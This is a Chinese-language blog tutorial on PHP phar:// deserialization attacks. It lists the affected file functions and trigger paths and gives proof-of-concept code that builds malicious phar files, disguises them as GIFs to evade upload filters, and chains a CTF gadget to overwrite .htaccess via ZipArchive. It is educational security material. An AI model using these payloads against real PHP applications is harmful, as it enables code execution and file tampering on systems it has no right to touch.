2018年
原理
一。关于流包装stream wrapper
大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://
例如常见的有
include('php://filter/read=convert.base64-encode/resource=index.php')
include('data://text/plain;base64,xxxxx')
phar://也是流包装的一种

二。phar原理

phar是一种压缩文件,其中每个被压缩文件的权限、属性信息都放在这部分。并且这部分
以序列化的形式存储用于自定义的meta-data。

对于phar文件的stub,可以理解为一个标志,他的格式是固定的
……<?php   ……;   __HALT_COMPILER();?>
也就是必须要__HALT_COMPILER();结尾才可以,否则无法识别

如果要生成phar文件就必须要将php.ini中的phar.readonly设置为off

在一些文件函数通过phar://伪协议解析phar文件时都会将meta-data反序列化。
受影响的函数有
fileatime    filectime    filemtime    file_exists    file_get_contents    file_put_contents
file    filegroup    fopen    fileinode    fileowner    fileperms
is_dir    is_file    is_link    is_executable    is_readable    is_writeable
is_wirtble    parse_ini_file    copy    unlink    stat    readfile
finfo_file

三。激发条件拓展
①php://filter/read=convert.base64-encode/resource=./1.phar
②compress.bzip2://phar:///tmp/test.phar
③压缩包
$zip=new ZipArchive();
$res=$zip->open('test.zip');
$zip->extractTo('phar//test.phar');
④数据库
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
⑤LOAD DATA LOCAL INFILE
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

四。利用方式扩展(文章最后进行详细介绍)
①SoapClient,php自带类,能够进行SSRF
②ZipArchive,php自带类(可能需要下载扩展),
ZipArchive::open(filename,ZIPARCHIVE::OVERWRITE)    //可以对文件覆盖

Demo
一。简单的小实验
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)
    //签名自动计算
    $phar->stopBuffering();
?>
运行后会生成一个phar.phar文件在当前目录下,用winhex查看内容

发现meta-data以序列化形式存储,在文件操作函数会自动进行反序列化

那么假如在这样一个php代码文件中include使用
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   
    }
}
include('phar://phar.phar');
?>
结果
hu3sky
可见在之前压缩的phar文件代码
$o = new TestObject();
$o -> data='hu3sky';
被顺利的执行

总结:要实现phar反序列化攻击有几个条件
①有一个类有__destruct魔术方法作为跳板
②有file_exsits()等函数,且函数内容可控
③没有过滤phar://内容

二。拓展:将phar文件伪造成其他格式文件
由原理可知php是通过识别phar文件的文件头stub来判断,确切来说是对于
__HALT_COMPILER(); ,而对于前面内容和后缀名没有要求,那么只要在前面
加上任意文件头+修改后缀名就可以将phar文件伪装成其他格式文件。
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
    $phar->startBuffering();
    $phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>
这样php就会将其识别为gif文件,就可以绕过一些上传检测。

--------------------------------------------------------------------------------------
ZipArchive实现文件覆盖
假如一个类的一个方法:
class Profile{
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}
再看ZipArchive的open方法
ZipArchive::open(filename,OVERWRIDE)  //对文件进行覆写
利用(这里的File类是bytectf里一个题目定义的类,拿来做跳板,本身并没有进行操作):
class File{
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
function __call($name, $arguments){
        $this->admin->open($this->username, $this->password);
}
}
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();  //因为这个类在Profile不存在所以触发__call方法
$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"
$o->checker->password=ZipArchive:OVERRIDE    //注意这里是调用方法
//这里实际上换到Profile类就是:Profile->ZipArchive->open("path","ZipArchive::OVERWRITE") $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
//生成phar文件
注意:关于上面的__call触发条件,经过个人实验发现:
如果直接进行输入的话并不能触发,以上面为例,例如(不会触发)
$o=new Profile();
$o->admin=new ZipArchive();
$o->username='test.txt';
$o->password=ZipArchive::OVERWRITE;
如果先从一个类的一个变量再跳到另一个类,跳到的类__call方法就会触发,例如(能触发)
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
$o->checker->username='test.txt';
$o->checker->password=ZipArchive::OVERWRITE;
而关于__destruct魔术方法是可以直接触发的

php phar反序列化任意执行代码的更多相关文章

  1. Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353)

    Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353) 一.漏洞描述 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,jenkins利用此通道来接收命令,恶 ...

  2. 利用phar实行php反序列化命令执行(测试环境复现)

    测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器.通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行. index. ...

  3. Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)

    2.1 摘要 2.1.1 漏洞介绍 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution 漏洞CVE id: C ...

  4. 利用phar实行php反序列化命令执行漏洞复现

    利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...

  5. WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞

    漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...

  6. 突破XSS字符限制执行任意JS代码

    突破XSS字符限制执行任意JS代码 一.综述 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不 ...

  7. 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路

    概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...

  8. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  9. phar 反序列化学习

    前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...

随机推荐

  1. Struts配置文件报错"元素类型为 "package" 的内容必须匹配"

    报错信息 元素类型为 "package" 的内容必须匹配 "(result-types?,interceptors?,default-interceptor-ref?,d ...

  2. Struts笔记二:栈值的内存区域及标签和拦截器

    值栈和ognl表达式 1.只要是一个MVC框架,必须解决数据的存和取的问题 2.struts2利用值栈来存数据,所以值栈是一个存储数据的内存结构 1.  ValueStack是一个接口,在struts ...

  3. 1013 Battle Over Cities (25分) DFS | 并查集

    1013 Battle Over Cities (25分)   It is vitally important to have all the cities connected by highways ...

  4. 【PAT甲级】1027 Colors in Mars (20 分)

    题意: 输入三个范围为0~168的整数,将它们从十三进制转化为十进制然后前缀#输出. AAAAAccepted code: #define HAVE_STRUCT_TIMESPEC #include& ...

  5. java.lang.ClassCastException: android.app.Application cannot be cast to

    出这个异常的原因是在项目中添加了新lication类(public class Application extends lication)之后,没有在AndroidManifest.xml中添加该类的 ...

  6. 重识线段树——Let's start with the start.

    声明 本文为 Clouder 原创,在未经许可情况下请不要随意转载.原文链接 前言 一般地,这篇文章是给学习过线段树却仍不透彻者撰写的,因此在某些简单的操作上可能会一笔带过. 当然了,入门线段树后也可 ...

  7. Vue Element-Ui 改变el-Input背景样式

    Element-ui是一个非常好的UI设计模块,它提供给我们很多好看的按钮样式,非常适用于快速搭建UI,下面说说如果使用了element-ui之后,要更改它默认的el-Input样式应该怎么操作. 使 ...

  8. 吴裕雄--天生自然HADOOP学习笔记:Shell工具使用

    实验目的 学习使用xshell工具连接Linux服务器 在连上的服务器中进入用户目录 熟悉简单的文件操作命令 实验原理 熟悉shell命令是熟悉使用linux环境进行开发的第一步,我们在linux的交 ...

  9. 吴裕雄 Bootstrap 前端框架开发——Bootstrap 表单:表单控件大小

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  10. CodeBlocks_OpenGL配置

    CodeBlocks版本:13.12 下载OpenGL配置文件 1.glut.dll glut32.dll放入系统盘Windows\System32文件夹 2.glut.h放入CodeBlocks安装 ...